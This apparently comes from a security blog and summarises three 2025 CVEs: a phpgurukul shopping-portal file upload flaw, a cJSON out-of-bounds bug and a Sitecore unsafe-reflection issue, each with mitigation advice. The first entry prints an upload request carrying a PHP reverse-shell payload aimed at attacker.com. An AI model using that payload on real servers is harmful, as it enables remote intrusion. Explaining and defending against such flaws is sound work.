Author: Ameeba

Overview

The CVE-2025-57148 pertains to a significant vulnerability in the phpgurukul Online Shopping Portal 2.0 which could potentially lead to system compromise or data leakage. This arbitrary file upload vulnerability exists due to the absence of extension validation in /admin/insert-product.php. The issue is of high concern, considering the widespread use of this portal and the potential impact on both businesses and consumers who rely upon it.

Vulnerability Summary

CVE ID: CVE-2025-57148
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

phpgurukul Online Shopping Portal | 2.0

How the Exploit Works

An attacker can exploit this vulnerability by uploading an arbitrary file with a malicious payload onto the server using the vulnerable endpoint (/admin/insert-product.php). Due to the lack of extension validation in the upload functionality, the server accepts the malicious file, which can then be executed on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP POST request:

POST /admin/insert-product.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this conceptual example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker’s server, providing them with unauthorized access to the system.

Mitigation Guidance

To mitigate this vulnerability, apply the vendor-provided patch as soon as possible. If a patch is not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to block or alert on attempts to upload files with potentially unsafe extensions.

Overview

The CVE-2025-57052 vulnerability is an alarming security flaw found in cJSON versions 1.5.0 through 1.7.18. It primarily affects applications that heavily rely on cJSON for processing JSON data. This vulnerability has severe implications, including system compromise and potential data leakage. It’s crucial for cybersecurity professionals, system administrators, and developers to understand the nature of this vulnerability and how to protect systems against it.

Vulnerability Summary

CVE ID: CVE-2025-57052
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

cJSON | 1.5.0 to 1.7.18

How the Exploit Works

The vulnerability exists in the `decode_array_index_from_pointer` function in cJSON_Utils.c. This function is responsible for decoding the index of an array from the pointer. However, malformed JSON pointer strings containing alphanumeric characters can cause out-of-bounds access. This means that an attacker can craft a malicious JSON pointer that accesses memory beyond the array’s limits, potentially reading sensitive data or causing a crash that could lead to additional exploits.

Conceptual Example Code

Here is a conceptual example of a malformed JSON pointer that might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "json_pointer": "/malformed_array_index/" }

In this example, the `malformed_array_index` is a specially crafted alphanumeric string that triggers the out-of-bounds access vulnerability when processed by the vulnerable cJSON versions.

Recommended Mitigation

The most effective mitigation for this vulnerability is to apply the vendor’s patch to update cJSON to a version that fixes this flaw. If applying the vendor’s patch is not immediately feasible, a temporary mitigation could be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, this should only be a temporary measure until the vendor’s patch can be applied.

Overview

The cybersecurity landscape is constantly shifting with new vulnerabilities being discovered and patched regularly. One such critical vulnerability, CVE-2025-53693, has been identified in Sitecore’s Experience Manager (XM) and Experience Platform (XP). This vulnerability is rated with a CVSS Severity Score of 9.8, denoting its critical nature.
This vulnerability arises from the use of externally-controlled input to select classes or code, otherwise known as ‘Unsafe Reflection. It affects Sitecore XM and XP and allows for potential system compromise or data leakage through cache poisoning. Given the widespread use of Sitecore’s platforms, the vulnerability presents a significant risk to organizations and needs urgent attention.

Vulnerability Summary

CVE ID: CVE-2025-53693
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Sitecore Experience Manager (XM) | 9.0 through 9.3, 10.0 through 10.4
Sitecore Experience Platform (XP) | 9.0 through 9.3, 10.0 through 10.4

How the Exploit Works

The exploit takes advantage of the ‘Unsafe Reflection’ vulnerability in Sitecore XM and XP platforms. An attacker can send externally-controlled input to select classes or code that manipulates the cache data. This could potentially lead to cache poisoning, where the attacker injects malicious content into the cache, causing harmful data to be served to users.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"class": "malicious_class",
"method": "poison_cache",
"data": "malicious_data"
}

In this example, the attacker specifies a malicious class and method in the JSON body of the POST request, along with the data they wish to inject into the cache. This leads to the cache poisoning, and any subsequent requests could potentially retrieve the malicious data.

Recommended Mitigation

Given the severity of this vulnerability, it is strongly recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. These tools can monitor and analyze traffic for signs of an attack, providing an extra layer of security while the patch is being applied.